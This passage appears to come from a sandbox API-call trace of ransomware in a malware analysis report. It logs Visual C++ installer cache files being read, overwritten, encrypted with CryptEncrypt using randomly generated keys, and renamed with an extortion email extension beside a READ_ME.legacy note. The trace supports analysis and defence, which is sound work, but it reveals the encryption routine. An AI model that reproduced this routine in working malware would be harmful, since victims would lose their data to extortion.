out: lpBuffer=0x2e81f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x23000, lpOverlapped=0x0) returned 1 [0143.969] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0143.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e81f40 | out: hHeap=0x520000) returned 1 [0143.974] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x23000 [0143.974] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0143.974] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0143.975] WriteFile (in: hFile=0x7c0, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0143.975] WriteFile (in: hFile=0x7c0, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0143.975] CloseHandle (hObject=0x7c0) returned 1 [0143.976] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c54a8 | out: hHeap=0x520000) returned 1 [0143.976] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0143.976] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0143.978] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0143.978] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570858 | out: hHeap=0x520000) returned 1 [0143.978] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0143.978] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0143.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0143.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0143.979] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0143.979] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0143.979] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", dwFileAttributes=0x80) returned 1 [0143.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0143.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0143.979] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0143.979] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c0 [0143.979] GetFileSizeEx (in: hFile=0x7c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1034506) returned 1 [0143.980] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfc90a) returned 0x312a020 [0143.982] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfc90a) returned 0x323b020 [0143.985] ReadFile (in: hFile=0x7c0, lpBuffer=0x312a020, nNumberOfBytesToRead=0xfc90a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312a020*, lpNumberOfBytesRead=0x2e1f9bc*=0xfc90a, lpOverlapped=0x0) returned 1 [0144.052] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=-1034506, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.052] WriteFile (in: hFile=0x7c0, lpBuffer=0x323b020*, nNumberOfBytesToWrite=0xfc90a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x323b020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfc90a, lpOverlapped=0x0) returned 1 [0144.054] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312a020 | out: hHeap=0x520000) returned 1 [0144.059] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x323b020 | out: hHeap=0x520000) returned 1 [0144.064] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfc90a [0144.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0144.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0144.064] WriteFile (in: hFile=0x7c0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0144.064] WriteFile (in: hFile=0x7c0, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0144.064] CloseHandle (hObject=0x7c0) returned 1 [0144.065] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0144.065] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0144.065] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0144.070] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0144.070] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0144.070] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0144.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a6a8 [0144.071] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a898 | out: hHeap=0x520000) returned 1 [0144.071] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a2c8 | out: hHeap=0x520000) returned 1 [0144.071] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0144.071] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe12c0f3f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c818 [0144.071] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0144.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0144.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0144.072] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0144.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0144.072] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0144.072] GetLastError () returned 0x0 [0144.072] SetLastError (dwErrCode=0x0) [0144.072] GetLastError () returned 0x0 [0144.072] SetLastError (dwErrCode=0x0) [0144.072] GetLastError () returned 0x0 [0144.072] SetLastError (dwErrCode=0x0) [0144.072] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0144.072] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0144.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0144.072] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0144.072] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c418 [0144.072] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c418 | out: hHeap=0x520000) returned 1 [0144.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20120 [0144.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20120 | out: hHeap=0x520000) returned 1 [0144.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0144.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0144.073] FindNextFileW (in: hFindFile=0x60c818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe12c0f3f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0144.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0144.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0144.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0144.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0144.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0144.073] GetLastError () returned 0x0 [0144.073] SetLastError (dwErrCode=0x0) [0144.073] GetLastError () returned 0x0 [0144.073] SetLastError (dwErrCode=0x0) [0144.073] GetLastError () returned 0x0 [0144.073] SetLastError (dwErrCode=0x0) [0144.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0144.073] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d6b8 [0144.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0144.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610130 [0144.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c558 [0144.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c558 | out: hHeap=0x520000) returned 1 [0144.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0144.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0144.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610130 | out: hHeap=0x520000) returned 1 [0144.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0144.074] FindNextFileW (in: hFindFile=0x60c818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1a600, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x98d1a600, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x98d1a600, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0144.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0144.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0144.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0144.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0144.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0144.074] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0144.074] GetLastError () returned 0x0 [0144.074] SetLastError (dwErrCode=0x0) [0144.074] GetLastError () returned 0x0 [0144.074] SetLastError (dwErrCode=0x0) [0144.074] GetLastError () returned 0x0 [0144.074] SetLastError (dwErrCode=0x0) [0144.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101f8 [0144.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101f8 | out: hHeap=0x520000) returned 1 [0144.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0144.075] FindNextFileW (in: hFindFile=0x60c818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12c0f3f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe12c0f3f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe12c0f3f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0144.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0144.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0144.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0144.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0144.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0144.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0144.075] GetLastError () returned 0x0 [0144.075] SetLastError (dwErrCode=0x0) [0144.075] GetLastError () returned 0x0 [0144.075] SetLastError (dwErrCode=0x0) [0144.075] GetLastError () returned 0x0 [0144.075] SetLastError (dwErrCode=0x0) [0144.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0144.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0144.075] FindNextFileW (in: hFindFile=0x60c818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0144.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0144.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0144.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0144.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0144.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0144.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0144.076] GetLastError () returned 0x0 [0144.076] SetLastError (dwErrCode=0x0) [0144.076] GetLastError () returned 0x0 [0144.076] SetLastError (dwErrCode=0x0) [0144.076] GetLastError () returned 0x0 [0144.076] SetLastError (dwErrCode=0x0) [0144.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0144.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0144.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0144.076] FindNextFileW (in: hFindFile=0x60c818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0144.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570858 [0144.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0144.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0144.076] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0144.076] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0144.076] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", dwFileAttributes=0x80) returned 1 [0144.078] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0144.078] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x5646a8 [0144.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0144.078] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c4 [0144.078] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=151552) returned 1 [0144.078] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x25000) returned 0x2f40858 [0144.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x25000) returned 0x2e81f40 [0144.080] ReadFile (in: hFile=0x7c4, lpBuffer=0x2f40858, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesRead=0x2e1f9bc*=0x25000, lpOverlapped=0x0) returned 1 [0144.100] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=-151552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.100] WriteFile (in: hFile=0x7c4, lpBuffer=0x2e81f40*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e81f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x25000, lpOverlapped=0x0) returned 1 [0144.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0144.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e81f40 | out: hHeap=0x520000) returned 1 [0144.104] SetFilePointer (in: hFile=0x7c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x25000 [0144.104] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0144.104] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0144.105] WriteFile (in: hFile=0x7c4, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0144.106] WriteFile (in: hFile=0x7c4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0144.106] CloseHandle (hObject=0x7c4) returned 1 [0144.106] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0144.106] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0144.106] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0144.108] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0144.108] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570858 | out: hHeap=0x520000) returned 1 [0144.108] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0144.108] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0144.108] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0144.108] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, 